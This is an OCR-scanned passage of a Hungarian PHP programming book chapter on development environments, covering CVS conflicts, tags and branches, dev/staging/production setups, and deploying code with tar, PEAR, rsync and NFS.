netében ütközést jelöl, miszerint a CVS megpróbálta egyesíteni a fájlokat, de nem járt si-
kerrel, így a helyi másolat általában instabil állapotban marad, és ezt magunknak kell
helyrehoznunk. Egy ilyen típusú frissítési ütközés után a fájl így fog kinézni:

<?php
echó "Hello $_REQUEST['name']";
<«<<<< l.php
echó "\nHow are you?";

echó "Goodbye $_REQUEST['name']";


»»>>> 1.3
?>

Mivel a helyi másolatban egy olyan módosított sor szerepel, amit máshol véglegesítettek,
a CVS megköveteli, hogy a fájlokat „kézzel" egyesítsük. A rendszer sajnos összekutyulta
a fájlt, így az nyelvtanilag nem lesz helyes, amíg a hibát ki nem javítjuk. Ha helyre akarjuk
állítani az eredeti példányt, amelynek a frissítésével kísérleteztünk, megtehetjük, a CVS
ugyanis . # fájlnév, változat néven menti azt ugyanabba a könyvtárba.

Ahhoz, hogy az ilyen kavarodást megakadályozzuk, ajánlatos így futtatni a frissítést:

> cvs -nq update


204 PHP fejlesztés felsőfokon

Az -n kapcsoló arra utasítja a CVS-t, hogy ténylegesen ne hajtson végre módosításokat.


A CVS ekkor megvizsgálja, milyen tennivalói vannak, de egyetlen fájlt sem változtat meg.

Szokásos esetben a CVS minden ellenőrzött könyvtárhoz üzeneteket fűz. Ha egy fa és egy
ág vége között keressük a különbségeket, ezek az üzenetek elég zavaróak lehetnek.
A CVS-t a -q kapcsolóval „inthetjük csendre".

A commit-hoz hasonlóan az update is működik önhívó (rekurzív) módon. Ha azt szeret-


nénk, hogy a CVS képes legyen minden újonnan felvett könyvtárat egy fához adni, a frissí-
téshez a -d kapcsolót kell csatolnunk. Ha azt gyanítjuk, hogy fánkhoz egy könyvtárat ad-
tak (vagy ha üldözési mániában szenvedünk, minden frissítésnél), így futtassuk a frissítést:

> cvs update -d

Jelzőcímkék
■A jelzőcímkék (szimbolikus címkék) használata az egyik módja annak, hogy egy változat-
számot több fájlhoz rendeljünk egy adott tárban, ami a változatkezelésnél rendkívül hasz-
nos. Amikor egy programváltozatot kibocsátunk az üzemi kiszolgálók számára, vagy egy
könyvtárat átadunk más felhasználóknak, kényelmes, ha az alkalmazás által használt vala-
mennyi fájl adott változatait a kívánt változathoz rendelhetjük. Példaképpen vegyük a 6.
fejezetben elkészített Text_Statistics csomagot, amit a PEAR-ben a CVS-sel keze-
lünk. A fájlok legfrissebb változatai a következők:

> cvs status


cvs server: Examining .

Filé: Statistics.php Status: Up-to-date

Working revision: 1.4


Repository revision: 1.4
/repository/pear/Text_Statistics/Text/Statistics.php,v
Sticky Tag: (nőne)
Sticky Date: (nőne)
Sticky Options: (nőne)

Filé: Word.php Status: Up-to-date

Working revision: 1.3


Repository revision:
1.3 /repository/pear/Text_Statistics/Text/Word.php,v
Sticky Tag: (nőne)
Sticky Date: (nőne)
Sticky Options: (nőne)
7. fejezet • A fejlesztőkörnyezet kezelése 205

Ahelyett, hogy hagynánk, hogy a felhasználók az utolsó változatot használják, egyszerűbb,


ha változatszámmal látjuk el a csomagot, hogy a felhasználók tudják, stabil változatot hasz-
nálnak. Ha a Text_Statistics 1.1-es változatát szeretnénk kibocsátani, valahogy rögzí-
tenünk kell, hogy az a Statistics .php 1.4-es CVS változatát, illetve a Word.php 1.3-as
változatát tartalmazza, hogy bárki „név szerint" kérhesse az 1.1-es változatot. A címkézés
éppen ezt teszi lehetővé. Ha a kimenő anyagban minden fájl legfrissebb változatát
a RELEASE_1_1 címkével szeretnénk ellátni, az alábbi parancsot kell kiadnunk:

> cvs tag RELEASE_1_1

Egyes fájlokat is felcímkézhetünk, a címkék lekérdezésére pedig két mód van. Ha a kime-
nő példányt frissítjük, a címke nevére ugyanúgy frissíthetünk, mintha egy adott változat-
számra frissítenénk. Az alábbi utasítással például a kimenetet visszaállíthatjuk az 1.0-s
változatra:

> cvs update -r RELEASE_1_0

Vigyáznunk kell, mert a fájlok adott változatszámra való frissítéséhez hasonlóan a jelző-
címkéhez igazító frissítés is „ragadós" címkét rendel a kimenő fájlhoz.

Néha előfordulhat, hogy nincs szükségünk a teljes tárra, ami a projekt minden CVS fájlját
tartalmazza (például amikor egy terjeszthető változatot állítunk össze). A CVS az export
utasítással támogatja ezt, amely minden fájlról másolatot készít, kivéve a CVS metaada-
tokat. Ez a megoldás abban az esetben is ideális, ha üzemi webkiszolgálók számára bocsá-
tunk ki egy változatot, ahol nem szeretnénk, hogy idegenek hozzáférhessenek a meta-
adatokhoz. A RELEASE_1_1 ilyen kibocsátásához az alábbi export parancsot adhatjuk ki:

> cvs -d cvs.php.net:/repository export -r RELEASE_1_1 \


-d Text_Statistics-l.1 pear/Text/Statistics

Ezzel a pear/Text/Statistics CVS modul (itt található a Text_Statistics


a PEAR-ben) RELEASE_1_1 címkéjét a Text_Statistics-l. 1 helyi könyvtárba
visszük át.

Ágak
A CVS támogatja az ágaztatás (branching) fogalmát. Amikor egy CVS fát ágaztatunk, pillanat-
felvételt készítünk a fáról az adott időpontban, amelytől kezdve minden ág a többitől függet-
lenül fejleszthető. Ez akkor hasznos, ha változatszámmal ellátott szoftvert bocsátunk ki. Ami-
kor kiadjuk az 1.0-s változatot, új ágat hozunk létre a számára, így ha később hibajavítást kell
végeznünk rajta, az adott ágban végezhetjük el, anélkül hogy ki kellene vennünk azokat
a változtatásokat, amelyeket az 1.0-s változat kiadása után a fejlesztési ágban végeztünk.
206 PHP fejlesztés felsőfokon

Az ágakat nevük alapján azonosítjuk, létrehozásuk pedig a cvs tag -b utasítással törté-
nik. Egy PROD nevű ágat például így hozhatunk létre a tárban:
> cvs tag -b PROD
Az ágak különböznek a jelzőcímkéktől. Míg egy jelzőcímke csak időjelzéssel látja el a tár
fájljait, ágaztatásnál ténylegesen új példányt készítünk az adott munka tárolójából. Az ág-
hoz fájlokat adhatunk, illetve fájlokat vehetünk el onnan, módosíthatjuk, felcímkézhetjük
és véglegesíthetjük őket, anélkül, hogy ez hatással lenne bármely másik ágra. A minden
CVS projektben jelen levő alapértelmezett HEAD ág, ami a fa törzse, nem távolítható el.

Mivel az ágak úgy viselkednek, mintha teljes tárak lennének, többnyire új munkakönyvtá-
rat hozunk létre számukra. Az Advanced_PHP tár PROD ágából az alábbi utasítással ké-
szíthetünk kimenő változatot:
> cvs checkout -r PROD Advanced_PHP

Annak jelzésére, hogy ez egy adott ága a projektnek, a felső szintű könyvtárat át szokták
nevezni, hogy tükrözze az ág nevét:
> mv Advanced_PHP Advanced_PHP-PROD

Ha már van ellenőrzött másolatunk a projektből, és frissíteni szeretnénk azt egy adott ág-
ra, az update -r utasítást is használhatjuk, mint a jelzőcímkék esetében:
> cvs update -r Advanced_PHP
Időnként szükség lehet két ág egyesítésére. Tegyük fel például, hogy a PROD az üzemi
kódot tartalmazza, míg a HEAD a fejlesztési fa. Mindkét ágban felfedeztünk egy jelentős hi-
bát, és kijavítjuk a PROD ágban. A módosítást át kell vinnünk a fő fába is, amit az alábbi
utasítással tehetünk meg:
> cvs update -j PROD
Ez a megadott ágban végrehajtott valamennyi változtatást átviszi a munkapéldányba. Ami-
kor ilyen egyesítést hajtunk végre, a CVS megkeresi a fában a munkapéldány és a megadott
ág csúcsának legközelebbi közös ősét, és azzal frissíti a munkapéldányt. Más frissítésekhez
hasonlóan, ha ütközés történik, a változtatás véglegesítése előtt fel kell oldanunk azt.

A fejlesztési és üzemi környezet fenntartása


A CVS eddig bemutatott eljárásainak ismerete elegendő ahhoz, hogy saját webhelyünket
kezeljük, vagy olyan helyen dolgozzunk, ahol a teljes fejlesztés üzemi (éles) környezet-
ben zajlik. Mindazonáltal ha egyetlen fát használunk üzemi és fejlesztési környezetként,
nyilvánvaló, hogy gondok lépnek fel:

• A fejlesztők zavarják egymás munkáját.


• Nem lehet egyszerre több nagy munkán dolgozni, hacsak nem egyszerre indítjuk
el őket.
7. fejezet • A fejlesztőkörnyezet kezelése 207

• Nincs lehetőség a változások tesztelésére, aminek folytán elkerülhetetlen a hibák


gyakori jelentkezése.

Ezen problémák megoldásához olyan fejlesztési környezetet kell felépítenünk, ami lehe-
tővé teszi a fejlesztőknek, hogy önállóan dolgozhassanak, módosításaikat pedig tisztán és
biztonságosan egyesíthessék.

Ideális megoldásként az alábbiakat javaslom:

• Minden egyes fejlesztő személyes fejlesztési példánnyal rendelkezzen, hogy „tiszta"


környezetben dolgozhassanak.
• A fejlesztési környezet legyen egységes, a változtatások összeolvasztása és véglege-
sítése azelőtt történjen, hogy a kód a nyilvánosság elé kerülne.
• Tartsunk fenn próbakörnyezetet, ahol a feltételezések szerint működésre kész kó-
dot kipróbálhatjuk.
• Az üzemi környezet legyen önálló.

A 7.1 ábra a fentiek egy lehetséges megvalósítását ábrázolja. Két CVS ágot találunk benne:
a PROD a működésre kész kódot, a HEAD a fejlesztési kódot tartalmazza. Két ágat alkalma-
zunk, de a folyamat négy szinten zajlik:

7.1 ábra
Üzemi és próbakörnyezet két CVS ággal.
208 PHP fejlesztés felsőfokon

Az új kódot író fejlesztők a HEAD ág saját kimenő változatán dolgoznak. A változások ad-
dig nem kerülnek be a HEAD ágba, amíg elég stabillá nem válnak ahhoz, hogy tönkre ne
tegyék az ágat. Azzal, hogy minden fejlesztő saját webkiszolgálót kap (amelynek legjobb
helye a fejlesztő munkaállomása), elősegítjük, hogy a lényegi változásokat anélkül tesztel-
hessék, hogy mások munkáját veszélyeztetnék. Egy olyan kódalap esetében, ahol minden
nagymértékben önálló, ez a kockázat valószínűleg kicsi, de nagyobb környezetekben,
ahol a felhasználói könyvtárak között függőségek hálója alakul ki, az a lehetőség, hogy
másoktól függetlenül változtathatunk a kódon, igen hasznos.

Ha egy fejlesztő elégedett az általa végrehajtott változtatásokkal, véglegesíti azokat


a HEAD ágban, és kipróbálja a dev. example . com-on, ami mindig a HEAD-változatot fut-
tatja. A teljes projekteket a fejlesztési környezetben próbáljuk ki és véglegesítjük. Itt törté-
nik az össze nem férő kódok kijavítása, és a program működésre késszé tétele.

Ha a program készen áll arra, hogy üzemi környezetbe bocsássuk, átvisszük a PROD ágra,
amit a stage. example. com webkiszolgáló szolgál ki. A program ekkor elméletileg ké-
szen áll a kibocsátásra. A valóságban azonban gyakran finomhangolásra és kisebb gondok
megoldására van még szükség. Ezért kell a próbakörnyezet, ami a lehető legpontosabb
mása az üzemi környezetnek. A PHP-változatnak, a webkiszolgálónak, az operációs rend-
szer beállításainak ugyanazoknak kell lenniük, mint az „élő" rendszeren. A próbakörnyezet
biztosítja, hogy ne érhessen minket meglepetés. A kipróbált tartalmat ezután még egyszer
át kell tekinteni, ellenőrizni, hogy helyesen működik-e, majd átvinni az üzemi gépekre.

A tesztelés mértéke vállalatonként különböző lehet. Persze az lenne az ideális, ha minden


program teljes minőségbiztosítási vizsgálaton (QA, quality assurance) esne át, ahol össze-
hasonlítják valamennyi használati esettel, amelyek leírják, hogyan kell a rendszernek mű-
ködnie, de a legtöbb helyen nincs QA csapat, sőt, használati eseteket sem állítanak össze.
Mindenesetre általános szabály, hogy minél többször ellenőrizzük a szoftvert, annál jobb.
Én mindig próbálom legalább egy, a fejlesztésben részt nem vett kívülállóval átnézetni az
eredményt, mielőtt kibocsátanám a programot. Ez az egyik legjobb módja annak, hogy
olyan hibákat találjunk, amelyek felett azért siklottunk el, mert mi tudjuk, hogyan „nem
szabad" használni az adott alkalmazást. Általában is érvényes, hogy saját munkánknak
nem vagyunk jó kritikusai, nem csak a programozást illetően: ezért van például a köny-
veknek szerkesztője.

Miután a stage. example. com-on a tesztelés sikeres volt, a kódot kibocsátjuk


a www. example. com-ra. Az üzemi kódot soha nem módosítjuk közvetlenül; a sürgős ja-
vításokat a próbakiszolgálón végezzük el, visszavisszük a HEAD ágba, majd a teljes kipró-
bált tartalmat bocsátjuk az üzemi környezetbe. Ha üzem közben hajtanánk végre közvet-
len változtatásokat, a kód rendkívül nehezen kezelhetővé válna, és arra bátorítana, hogy
a változatkezelő rendszeren kívül végezzünk módosításokat.
7. fejezet • A fejlesztőkörnyezet kezelése 209

Több adatbázis fenntartása

A többszintű fejlesztési környezet fenntartásának egyik kellemetlen velejárója, hogy való-


színűleg külön adatbázisokat szeretnénk a fejlesztési és az üzemi fa számára. Ha egyetlen
adatbázist használunk mindkettőre, nehéz bármilyen kódot tesztelni, ami táblamódosítást
igényel, és nagy az esélye, hogy valamelyik fejlesztő tönkreteszi az üzemi környezetet.
A fejlesztési környezet fenntartásának éppen az a célja, hogy legyen egy biztonságos hely,
ahol kísérletezhetünk.

A hozzáférés szabályozásának legegyszerűbb módja, ha egyes adatbázisok elérésére bur-


koló osztályokat készítünk, és külön halmazt használunk az üzemi, illetve a fejlesztési
környezetben. A könyvben eddig használt adatbázis API például a következő két osztályt
tartalmazta:

class DB_Mysql_Test extends DB_Mysql { /* ... */}

és

class DB_Mysql_Prod extends DB_Mysql { /* ... */}

A használni kívánt osztály meghatározásának egyik módja, hogy egyszerűen mereven be-
kódoljuk egy fájlba, és e fájlból különböző változatokat tartunk fenn a fejlesztéshez és az
üzemi környezethez. Viszont ha két példányunk van belőle, nagy a hibázás esélye, külö-
nösen ha az ágakat egyesítjük. Sokkal jobb megoldás, ha maga az adatbázis-könyvtár ér-
zékeli automatikusan, hogy próba- vagy üzemi kiszolgálón fut-e:

switch($_SERVER['HTTP_H0ST']) {
case "www.example.com":
class DB_Wrapper extends DB_Mysql_Prod {}
break;
case "stage.example.com":
class DB_Wrapper extends DB_Mysql_Prod {}
break;
case "dev.example.com":
class DB_Wrapper extends DB_Mysql_Test {}
default:
class DB_Wrapper extends DB_Mysql_Localhost {}
}

így csak használatba kell vennünk a DB_Wrapper-t, ha név szerint megadnánk egy adat-
bázist, és maga a könyvtár választja majd ki a megfelelő megvalósítást. Ennek logikáját
egy gyártófüggvénybe is építhetjük, amely létrehozza az adatbázis-elérési objektumokat.
210 PHP fejlesztés felsőfokon

Ebben a rendszerben észrevehetünk egy hiányosságot: mivel az üzemi környezet kódja


a PROD ág egy adott időpontban készült pillanatfelvétele, nehéz visszaállítani egy korábbi
helyes változatra anélkül, hogy ismernénk véglegesítésének és kibocsátásának pontos
idejét. Erre a problémára két megoldás létezik:

• Minden üzemi kibocsátáshoz külön ágat hozunk létre.


• Az üzemi kibocsátások kezeléséhez jelzőcímkéket használunk.

Az első megoldás szokványos a dobozos programoknál, ahol a kibocsátások között általá-


ban hosszú idő telik el, és a program különböző változataira más-más javításokat kell al-
kalmazni. Ilyen esetben, ha készen állunk a próbakörnyezetből kibocsátani a kódot, az
adott időpont pillanatfelvétele alapján új ágat hozunk létre (például VERSION_1_0_0 né-
ven). Ez a változat aztán a PROD nevű fő próbaágtól függetlenül fejlődhet, megengedve
a hibajavításoknak a fő fában levőtől eltérő megvalósítását. Véleményem szerint ez a meg-
oldás a webes alkalmazások esetében több okból sem működik:

• Akár tetszik, akár nem, a webes alkalmazások sűrűn változnak, a CVS pedig nem
jól tűri, ha ágak százait kell támogatnia.
• Mivel a webes alkalmazások kódját nem terjesztjük, kevésbé fontos, hogy képesek
legyünk a különböző változatokra más-más módosítást alkalmazni. Mivel minden
kapcsolódó kód a mi kezünkben fut össze, egy könyvtárnak ritkán van használat-
ban egyszerre egynél több változata.

A másik megoldás, hogy a kibocsátásokat jelzőcímkékkel látjuk el. Ahogy a fejezetben


korábban már tárgyaltuk, ezek a címkék csupán arra szolgálnak, hogy a CVS-ben fájlok
csoportját láthassuk el egyetlen közös jelzéssel. A jelzőcímke a megadott fájlok adott idő-
pontban legfrissebb változatához egy nevet társít, ami egy ágak nélküli fában tökéletes
módja annak, hogy a tárról pillanatfelvételt készítsünk. A jelzőcímkék a CVS-ben nem jár-
nak különösebb költséggel, így nincs különösebb akadálya annak, hogy több százat hasz-
náljunk belőlük. Ha rendszeres időközönként kell webhelyeket frissítenem, általában
a címke létrehozásának dátumát adom meg névként, így olyan címkéket kapok, mint
a PROD_2 0 04_01_23_01, ami a 2004. január 23-án létrehozott első címkét jelöli. Beszé-
des neveket szintén használhatunk, például egy bizonyos eseményre, mondjuk egy új ter-
mék kibocsátására utalót.

A jelzőcímkék jól használhatók, ha hetente egyszer vagy kétszer bocsátunk üzemi környe-
zetbe egy programot. Ha ennél rendszeresen gyakoribb kódfrissítés szükséges, érdemes
fontolóra vennünk a következő lehetőségeket:

• A csak a tartalomban végrehajtott változtatásokat önálló tartalomkezelő rendszerbe


(CMS, content management system) visszük át, hogy elválasszuk a kódtól. A tartal-
mat gyakran kell frissíteni, míg a mögötte levő kód általában jóval stabilabb.
7. fejezet • A fejlesztőkörnyezet kezelése 211

• A fejlesztési környezetet összehangoljuk. Ha túl gyakran bocsátunk üzemi környe-


zetbe egy kódot, nehezebb hatékonyan ellenőrizni a módosítások minőségét, ami
növeli az üzemi hibák gyakoriságát, ami viszont a hibajavítások gyakoribb kibocsá-
tását igényli, és így tovább a végtelenségig. Ez elsősorban fegyelem kérdése: kevés
olyan környezet van, ahol ne lehetne a kódkibocsátást napi egyre, sőt, heti egyre
korlátozni.

Megjegyzés
Az egyik szabály, amelynek helyességéről igyekszem minden ügyfelet meggyőzni, hogy
nem szabad délután 3 után kódot kibocsátani, pénteken pedig egyáltalán nem. Hibák
mindig felbukkannak a kódban, és ha a munkanap végén vagy közvetlenül hétvége előtt
bocsátunk ki új kódot, az olyan, mintha felszólítanánk a kalózokat, hogy most keressék
a gyenge pontokat, hiszen a fejlesztők már hazamentek. Ha csak napközben helyezünk
üzembe kódot, egy váratlan hibánál kéznél lesznek a friss fejlesztők, akik nem az órát fi-
gyelik, hogy vajon hazaérnek-e vacsorára.

Csomagkezelés
Most, hogy ismerjük a változatkezelő rendszerek szerepét a fejlesztésben, rátérhetünk az
üzemi kód terjesztésére. E könyvnek nem témája a kereskedelmi terjesztés, így amikor
a kód terjesztéséről beszélünk, azt értjük alatta, hogy a kész programot a fejlesztési kör-
nyezetből működő kiszolgálókra helyezzük, amelyek a tényleges szolgáltatást nyújtják.

A csomagolás lényeges lépés annak biztosítására, hogy amit a működési környezetbe he-
lyezünk, valóban az, amit szerettünk volna. Sokan egyszerűen egyenként kiteszik a mó-
dosított fájlokat a webkiszolgálókra - ami a lehető legrosszabb megoldás.

Ez csak kettő a lehetséges problémák közül:

• Könnyen szem elől veszíthetjük, mely fájlokat kell a termék üzembe helyezéséhez
átmásolnunk. Ha csak hiányzik egy include, azt még könnyű észrevenni, de egy
nem frissített include már komoly fejfájást okozhat.
• Többkiszolgálós környezetben még összetettebb problémák jelentkezhetnek. Ha le-
áll egy kiszolgáló, hogyan biztosíthatjuk, hogy minden változásról értesüljön, amikor
helyreállítjuk? Még ha minden gép száz százalékosan üzemel is, az emberi tényező
folytán rendkívül könnyen alakulhatnak ki következetlenségek a gépek között.

A csomagolás nem csak a PHP kódok esetében fontos, hanem a használt kisegítő progra-
mok változatainál is. Egy alkalommal egy körülbelül 100 gépből álló PHP kiszolgálófürtöt
212 PHP fejlesztés felsőfokon

üzemeltettem, amelyen számos alkalmazás futott. A PHP 4.0.2-es és 4.0.3-as változata kö-
zött apró módosítást hajtottak végre a pack () belső működésén. Ennek következtében
néhány alapvető hitelesítési eljárás hibásan működött a webhelyen, bosszantó leállást
eredményezve. A hibák elkerülhetetlenek, de egy ilyen, teljes webhelyét megbénító hibát
még üzembe helyezés előtt észlelni kell és ki kell javítani. A hiba felfedezését az alábbi té-
nyezők nehezítették:

• Senki nem olvasta el a 4.0.3-as változat változásnaplóját, így magára a PHP-re nem
is gyanakodtunk.
• A fürtben többféle PHP-változat volt használatban. Egyes kiszolgálók a 4.0.l-es,
mások a 4.0.2-es vagy 4.0.3-as változatot futtatták. Nem volt központosított napló-
zás, így a véletlenszerűnek tűnő hibákat rendkívül nehéz volt összepárosítani egy
adott géppel.

Sok más problémához hasonlóan ezek a tényezők persze csak tünetei voltak a rendszer
nagyobb hibáinak. Az igazi gondot a következők jelentették:

• Nem biztosította rendszer, hogy minden üzemi gépen ugyanaz az Apache és PHP,
illetve ugyanazok a támogató könyvtárak legyenek. Ahogy egy kiszolgáló célja vál-
tozott, vagy a különböző rendszergazdák programokat telepítettek rájuk, minden
gépnek önálló egyénisége alakult ki - márpedig egy üzemi gépnek ne legyen
egyénisége.
• Bár a fejlesztési és üzemi kódot külön fában tároltuk, nem volt próbakörnyezetünk,
ahol meggyőződhettünk volna róla, hogy a futtatni kívánt kód tényleg működik az
üzemi környezetben. Persze ha az üzemi gépek azonos beállítását sem tudjuk biz-
tosítani, a próbakörnyezet hiánya elhanyagolható.
• Mivel nem követtük az egyes rendszereken a PHP-frissítéseket, nem is tudtuk ilyen-
hez kapcsolni a kód módosítása után jelentkező hibákat. Órákat vesztegettünk el ar-
ra, hogy megkeressük, a kód melyik módosítása váltotta ki a hibát. Ha naplóban (le-
hetőleg ugyanabban a változatkezelő rendszerben, ahol a forráskód is található)
rögzítettük volna azt a tényt, hogy egyes gépeken éppen az előző napon frissítettük
újabb változatra a PHP-t, a hibakeresés sokkal gyorsabb eredményt hozott volna.

A pack() probléma megoldása

A pack () függvénnyel kapcsolatos problémát is teljesen rosszul kezeltük. Ahelyett, hogy


kijavítottuk volna a kódunkat, hogy a függvény minden változatával biztonságosan hasz-
nálható legyen, a pack () belső működésbeli módosulását vontuk vissza magában a PHP
forráskódban. Ez akkor jó ötletnek tűnt, hiszen nem kellett különböző esetekhez igazítani
a kódunkat, és a visszirányú megfelelőséget is megőriztük.
7. fejezet • A fejlesztőkömyezet kezelése 213

Végül azonban kiderült, nem is hozhattunk volna rosszabb döntést. A PHP forráskód „ki-
javításával" azt értük el, hogy minden alkalommal, amikor frissítettük a PHP-t, újra el kel-
lett végeznünk a módosítást, és ha elfelejtettük a javítófoltot, a hitelesítési hibák rejtélyes
módon újra felbukkantak.

Hacsak nincs egy külön csapatunk, akik a használt infrastruktúra karbantartásával foglal-
koznak, kerüljük a PHP belső működését módosító változtatásokat az üzemelő webhelyen.

A kód csomagolása és kibocsátása


A kód kibocsátása a próbakörnyezetből az üzemi környezetbe nem nehéz. A legnehe-
zebb rész a kiadások változatszámmal való ellátása, amit - mint az előző részből megtud-
hattuk - CVS címkékkel és ágakkal tehetünk meg. Ezenkívül nem marad más, mint egy
hatékony eszköz megtalálása az állományok fizikai áthelyezésére a próbakörnyezetből az
üzemi gépekre.

A PHP fájlok áthelyezésével kapcsolatban van egy aprócska gond. A PHP minden fájlt fel-
dolgoz, amit minden kérelem esetén végre kell hajtania. Ez rossz hatással van a teljesít-
ményre (amivel részletesebben a 9- fejezetben foglalkozunk), és nem teszi túl biztonsá-
gossá a fájlok módosítását egy futó PHP példányban. A probléma egyszerű. Tegyük fel
például, hogy van egy index. php nevű fájlunk, ami egy könyvtárat emel be:

# index.php
<?php
require_once "hello.inc";
hello () ;
?>

# hello.inc
<?php
function hello() {
print "Hello World\n";
}
?>

Ezután mindkét állományt így módosítjuk:

# index.php
<?php
require_once "hello.inc";
hello("George");
?>
214 PHP fejlesztés felsőfokon

# hello.inc
<?php
function hello($name) {
print "Hello $name\n";
}
?>

Ha valaki a tartalom módosítása közben kéri az index. php-t, annak feldolgozása a válto-
zás véglegesítése előtt, a hello. inc állományé viszont utána történik, ezért hibát ka-
punk, mert a másodperc törtrészéig a prototípusok nem egyeznek.

Az, amikor a tartalom azonnal frissül, még a legjobb eset. Ha maga a módosítás is több
másodpercet vagy percet vesz igénybe, a következetlenség egész idő alatt fennállhat.

A legjobb megoldás erre a problémára a következő:

1. A módosítást kibocsátó módszer a lehető leggyorsabb legyen.


2. A fájlok tényleges módosítása idejére állítsuk le a webkiszolgáló programot.

A második lépés elég drasztikusnak tűnik, de szükséges, ha az oldalon megjelenő hiba nem
elfogadható. Ha ez a helyzet, valószínűleg érdemes tartalék gépfürtöt üzemeltetni, és a leál-
lást nem engedélyező összehangolást alkalmazni, amiről a 15. fejezet végén ejtünk szót.

Megjegyzés
A 9- fejezetben a fordítói gyorstárakat is tárgyaljuk, amelyek megakadályozzák a PHP fáj-
lok újbóli feldolgozását. Minden ilyen tár beépített képességekkel rendelkezik annak
megállapítására, hogy a fájlok megváltoztak-e, és szükség van-e új feldolgozásra. Ez egy-
ben azt is jelenti, hogy az include említett következetességi problémája ezeket a tárakat
is érinti.

A kód próbakörnyezetből üzemi környezetbe helyezésére több megoldás is kínálkozik:

• tar és ftp/scp
• PEAR csomagformátum
• cvs update
• rsync
• NFS
7. fejezet • A fejlesztőkörnyezet kezelése 215

A tar használata szokványos választás, és egyszerű is. A tar-ral egyszerűen létrehozunk


egy archívumot a kódból, a fájlt a célkiszolgálóra másoljuk, majd kicsomagoljuk. A tar
archívumok segítségével távoli terjesztést végezhetünk (például ha kiadunk vagy eladunk
egy alkalmazást), mindazonáltal a tar használata csomagoló eszközként webes környe-
zetben két problémát vet fel:

• A tar helyben módosítja a fájlokat, ezért a lemezblokkoknál nagyobb fájlok olva-


sásakor hibákat tapasztalhatunk.
• Nem képes részleges frissítésre, így minden kibocsátáskor a teljes kódfát felülírjuk.

Érdekes választás lehet a tar-ral szemben a PEAR csomagformátum használata alkal-


mazások terjesztésére. Ez sem oldja meg az említett gondokat, de lehetővé teszi, hogy
a felhasználók a PEAR telepítő segítségével telepítsék és kezeljék a csomagot. A PEAR
csomagformátum legfőbb előnye, hogy megkönnyíti a telepítést (amint az a könyv
eddigi PEAR példáiban is láthattuk). A PEAR telepítő használatával kapcsolatban
a http: / /pear.php. net címen tájékozódhatunk.

Csábító megoldás a kód webkiszolgálókra telepítésére, ha egy CVS segítségével készített


kimenő példányt tárolunk az üzemi kiszolgálókon, és a cvs update utasítással frissítjük
azt. Ez megoldja a tar-nál említett két gondot: csak az utolsó változat óta végrehajtott
módosításokat viszi át, és elkerüli a fájlok helyben frissítésének problémáját, ideiglenes
fájlok és atomi áthelyezési műveletek használatával. Ha az üzemi webkiszolgálók közvet-
len frissítésére a CVS-t használjuk, azzal csak az a gond, hogy a CVS metaadatoknak jelen
kell lenniük a célrendszeren, így webkiszolgálói hozzáférés-szabályozással kell korlátoz-
nunk ezen fájlok elérését.

Jobb megoldás, ha az rsync-et használjuk. Az rsync-et kifejezetten könyvtárfák különb-


ségeinek összehangolására tervezték, csak az utolsó változat óta végrehajtott módosításo-
kat viszi át, és ideiglenes fájlokkal garantálja az atomi fájlcserét. Emellett hatékonyan tá-
mogatja a korlátozást is, így fájlosztályokat vehetünk fel az összehangolandó adatok közé,
vagy fájlokat távolíthatunk el onnan. Ez azt jelenti, hogy a CVS metaadatfájlokat még ak-
kor is kihagyhatjuk, ha az adatok forrásfája egy CVS munkakönyvtár.

Az állományok több kiszolgálóra való átvitelének másik népszerű módja, amikor NFS-en
keresztül terjesztjük azokat. Az NFS-sel kényelmesen biztosítható, hogy minden kiszolgáló
azonnal másolatot kapjon a frissített állományokból. Alacsony vagy mérsékelt forgalom
esetén ez a módszer kitűnően működik, de nagyobb terhelésnél az NFS-ben jelen levő
késleltetés gondot okozhat. Ahogy korábban már említettük, az a gond, hogy a PHP min-
den futtatandó fájlt minden végrehajtáskor feldolgoz, így a forrásfájlok olvasása jelentős
mennyiségű lemezolvasási és -írási művelettel járhat. Amikor a fájlokat NFS-en keresztül
adjuk ki, a szükséges idő és a forgalom tovább nő. A probléma minimálisra csökkenthető,
ha fordítói gyorstárat használunk.
216 PHP fejlesztés felsőfokon

Egy ideje azt a módszert alkalmazom az NFS kiszolgálók terhelésének csökkentésére,


hogy vegyítem a fent említett eljárásokat. Minden kiszolgálómon NFS-befűzésű a kód, de
ezt a példányt nem közvetlenül érik el. Ehelyett az NFS-sel befűzött fájlokat az rsync-kel
egy helyi állományrendszerre (lehetőleg egy memória alapú állományrendszerre, amilyen
például a Linux tmpf s vagy ramf s) másolják. Van egy bűvös szemaforfájl, ami csak ak-
kor frissül, ha tartalmat kell összehangolni, az rsync-ket futtató program pedig e fájl vál-
tozó időbélyegéből tudja, hogy össze kell hangolnia a könyvtárfákat. így az rsync-nek
nem kell folyamatosan futnia, ami leterhelné az NFS kiszolgálót.

Bináris állományok csomagolása


Ha többkiszolgálós telepítést futtatunk, az alkalmazás futtatásához szükséges valamennyi
programot is csomagolnunk kell. A PHP alkalmazáskezelés ezen részét gyakran elfelejtik,
különösen az olyan környezetekben, amelyek eredetileg egyetlen gépre épültek.

A többféle gépbeállítás engedélyezése látszólag nem okoz gondot. Az alkalmazások leg-


többször hiba nélkül futnak, de a csak ritkán jelentkező hibák ijesztőek. Senki sem sejti,
hogy a webhely rejtélyes hibáit egy másik rendszermagváltozat okozza, vagy egy Apache
modul, amit az egyik rendszeren megosztott objektumként, a másikon viszont statikusan
beszerkesztve fordítottak le.

Amikor a bináris rendszerállományokat csomagolom, majdnem mindig a futtatott operáci-


ós rendszer natív csomagformátumát használom. Használhatunk tar archívumokat vagy
egy mesterfelvételt a kiszolgálóról, amit az rsync-kel átvihetünk az állomásokra, de
egyik módszer sem pótolhatja a Red Hat rpm vagy a FreeBSD pkg formátum könnyű ke-
zelhetőségét. Amikor ebben a részben az RPM kifejezést használom, egyszerűen csoma-
golt szoftvert értek alatta, tehát ki-ki helyettesítse be gondolatban az általa előnyben ré-
szesített formátumot. Egyik itt tett megállapítás sem kizárólagosan magára az RPM formá-
tumra érvényes.

Azt javaslom, ne használjunk tömbszerű csomagokat. Készítsünk külön csomagokat


a PHP, az Apache és minden más lényegesebb alkalmazás számára, amit használunk. A ta-
pasztalat azt mutatja, hogy ez nagyobb rugalmasságot ad, amikor új kiszolgálófürtöt állí-
tunk össze.

Az igazi előny, ami a rendszer csomagoló rendszerének használatából ered, az, hogy
könnyen biztosítható az egyes gépeken futó programok azonossága. Korábban én is
használtam tar archívumokat binárisok terjesztésére, és rendben működtek. A gond csak
az volt, hogy könnyű volt elfelejteni, melyik tar csomagot is telepítettem. Ennél is
